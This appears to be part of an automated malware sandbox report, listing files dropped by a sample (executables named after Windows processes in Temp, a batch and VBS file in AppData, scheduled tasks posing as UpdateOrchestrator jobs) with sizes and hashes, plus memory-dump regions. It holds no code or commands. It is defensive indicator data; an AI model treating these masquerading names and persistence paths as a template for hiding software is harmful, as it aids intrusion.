SHA512
e71b4cef4f488fc2cc771c1df5466ed6edd12d5cf3bfcf2825f0ec87bbcb66afabcba957dbfeee621e3c03e897bec1cede8d88f3c9e255b4fd40ddbdfaa5794e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
163KB

MD5
1a7d1b5d24ba30c4d3d5502295ab5e89

SHA1
2d5e69cf335605ba0a61f0bbecbea6fc06a42563

SHA256
b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

SHA512
859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Windows PowerShell.exe
Filesize
27KB

MD5
4daae2de5a31125d02b057c1ff18d58f

SHA1
e1d603edfcc150a4718e2916ae3dda3aa9548dc8

SHA256
25510f3aa1b879ea92a3cba9583d73e447b8765bae6dfcc4954bb72df5beaa7f

SHA512
7cda96a69f9cddab307f3f08e1f38a4d059f0cc7f7119d4a48891efdb01cf101ebcc06cb2ce0702ea2d689d27ee45faddc0a13cd72503c609c4e544919549a2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1prhc1z1.ynr.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\conhost.exe
Filesize
63KB

MD5
ec57b49d155e05d971f73e2eb3d3d01f

SHA1
f8537e9b44342a71f1f8bf48548b27574f17ff7c

SHA256
baf3237f6c2b6c49ca7572213bc72f0dea9a4afcd37f90ea2d13a542d83d2a9c

SHA512
e27191657d4339d44dfb32a637efe1168d57520ee1c320dc7997f8944c627595e66abe72ed5039f005b01e2e2d1a5ca9df7c5a10ad0092305c07dd64f29ff533

Download Submit
C:\Users\Admin\AppData\Local\Temp\wininit.exe
Filesize
409KB

MD5
301613f1fcda48ebade4c197175be1a0

SHA1
03f58ab72f3c2d991418861adfc9c3b3289640a0

SHA256
1772f8bfc84772485e5b2388bb8942c28a9f2803a5f879e275d9b9d3eb923d41

SHA512
375c55fc09f1f0ef1a394b57f38916f103c36aaf8f4ec9a6939dcfaf147ebc3121537f2ebe1061b3851043dd44001f0a6630abe8e32549bf95d3e12f81308525

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_778.bat
Filesize
811KB

MD5
add48f177d5e0a81fca63ca2c6e5c9e2

SHA1
5d43d5b761c889443d7b48dd962b9d20514edc5f

SHA256
99cee0b28ecb0e558fca04fb56c8b61abf7af751fbef519328c2da4f19fe9d93

SHA512
81ecd172e609eb80cf358b45cdd32cc7d1f6b8d8f62d3933f7a5be0b1a786e2eefeab8402f4f4e710b11d9d8dc8ddde44d59827bb4e63fb58b8acca4c14c8d33

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_778.vbs
Filesize
115B

MD5
e6243915c49e638313bb0168da0b06db

SHA1
c86f8d8f78cf3efa068c0ac880d7c82ca672a0e9

SHA256
da75649585204d2daac1f30303ce5d3f780b26a58e5d7b6fb499090a5709bb3e

SHA512
7e44e829eb044adec653c112232b59b949d01be7fd3f262a1c625bec9c6620f6394b4226221e81b0dc283bce0dcf77bb3cb23a04404298d105e27b93480da713

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/416-266-0x00000234833E0000-0x000002348340B000-memory.dmp

Filesize
172KB

Download
memory/416-267-0x00007FF7F9ED0000-0x00007FF7F9EE0000-memory.dmp

Filesize
64KB

Download
memory/416-260-0x00000234833E0000-0x000002348340B000-memory.dmp

Filesize
172KB

Download
memory/528-271-0x000001437AF20000-0x000001437AF4B000-memory.dmp

Filesize
172KB

Download
memory/632-227-0x000001A22D3A0000-0x000001A22D3CB000-memory.dmp

Filesize
172KB

Download
memory/632-234-0x00007FF7F9ED0000-0x00007FF7F9EE0000-memory.dmp

Filesize
64KB

Download
memory/632-226-0x000001A22D3A0000-0x000001A22D3CB000-memory.dmp

Filesize
172KB

Download
memory/632-233-0x000001A22D3A0000-0x000001A22D3CB000-memory.dmp

Filesize
172KB

Download
memory/632-225-0x000001A22D370000-0x000001A22D395000-memory.dmp

Filesize
148KB

Download
memory/692-245-0x00007FF7F9ED0000-0x00007FF7F9EE0000-memory.dmp

Filesize
64KB

Download
memory/692-238-0x000001B890970000-0x000001B89099B000-memory.dmp

Filesize
172KB

Download
memory/692-244-0x000001B890970000-0x000001B89099B000-memory.dmp

Filesize
172KB

Download
memory/960-103-0x00000000008D0000-0x00000000008E6000-memory.dmp

Filesize
88KB

Download
memory/976-249-0x0000028A5A1E0000-0x0000028A5A20B000-memory.dmp

Filesize
172KB

Download
memory/976-255-0x0000028A5A1E0000-0x0000028A5A20B000-memory.dmp

Filesize
172KB

Download
memory/976-256-0x00007FF7F9ED0000-0x00007FF7F9EE0000-memory.dmp

Filesize
64KB

Download
memory/984-61-0x000001B4AB430000-0x000001B4AB448000-memory.dmp

Filesize
96KB

Download
memory/1124-198-0x00007FF838660000-0x00007FF83871E000-memory.dmp

Filesize
760KB

Download
memory/1124-197-0x00007FF839E50000-0x00007FF83A045000-memory.dmp

Filesize
2.0MB

Download
memory/1124-186-0x00000197EA670000-0x00000197EA69A000-memory.dmp

Filesize
168KB

Download
memory/1328-1280-0x0000000000970000-0x000000000098A000-memory.dmp

Filesize
104KB

Download
memory/1868-111-0x0000000000660000-0x000000000066E000-memory.dmp

Filesize
56KB

Download
memory/1868-113-0x0000000000F80000-0x0000000000F90000-memory.dmp

Filesize
64KB

Download
memory/2156-28-0x00007FF81B530000-0x00007FF81BFF1000-memory.dmp

Filesize
10.8MB

Download
memory/2156-23-0x00007FF81B530000-0x00007FF81BFF1000-memory.dmp

Filesize
10.8MB

Download
memory/2156-32-0x00007FF81B530000-0x00007FF81BFF1000-memory.dmp

Filesize
10.8MB

Download
memory/2156-29-0x00007FF81B530000-0x00007FF81BFF1000-memory.dmp

Filesize
10.8MB

Download
memory/2940-1133-0x000000001C740000-0x000000001C74E000-memory.dmp

Filesize
56KB

Download
memory/2940-108-0x0000000000CE0000-0x0000000000CFA000-memory.dmp

Filesize
104KB

Download
memory/3292-1175-0x0000000000780000-0x000000000079A000-memory.dmp

Filesize
104KB

Download
memory/3748-222-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3748-201-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3748-206-0x00007FF839E50000-0x00007FF83A045000-memory.dmp

Filesize
2.0MB

Download
memory/3748-207-0x00007FF838660000-0x00007FF83871E000-memory.dmp

Filesize
760KB

Download
memory/3748-205-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3748-199-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3748-202-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3748-200-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4808-50-0x00007FF81B530000-0x00007FF81BFF1000-memory.dmp

Filesize
10.8MB

Download
memory/4808-13-0x000001E846FE0000-0x000001E847024000-memory.dmp

Filesize
272KB

Download
memory/4808-10-0x000001E82CA20000-0x000001E82CA42000-memory.dmp

Filesize
136KB

Download
memory/4808-11-0x00007FF81B530000-0x00007FF81BFF1000-memory.dmp

Filesize
10.8MB

Download
memory/4808-12-0x00007FF81B530000-0x00007FF81BFF1000-memory.dmp

Filesize
10.8MB

Download
memory/4808-0-0x00007FF81B533000-0x00007FF81B535000-memory.dmp

Filesize
8KB

Download
memory/4808-16-0x000001E8470B0000-0x000001E84718E000-memory.dmp

Filesize
888KB

Download
memory/4808-15-0x000001E846D50000-0x000001E846D58000-memory.dmp

Filesize
32KB

Download
memory/4808-14-0x000001E847030000-0x000001E8470A6000-memory.dmp

Filesize
472KB

Download
memory/4972-140-0x0000000007390000-0x000000000739A000-memory.dmp

Filesize
40KB

Download
memory/4972-126-0x0000000005B30000-0x0000000005B96000-memory.dmp

Filesize
408KB

Download
memory/4972-112-0x0000000000FB0000-0x000000000101C000-memory.dmp

Filesize
432KB

Download
memory/4972-127-0x0000000006730000-0x0000000006742000-memory.dmp

Filesize
72KB

Download
memory/4972-114-0x0000000006040000-0x00000000065E4000-memory.dmp

Filesize
5.6MB

Download
memory/4972-115-0x0000000005A90000-0x0000000005B22000-memory.dmp

Filesize
584KB

Download
memory/4972-128-0x0000000006C70000-0x0000000006CAC000-memory.dmp

Filesize
240KB

Download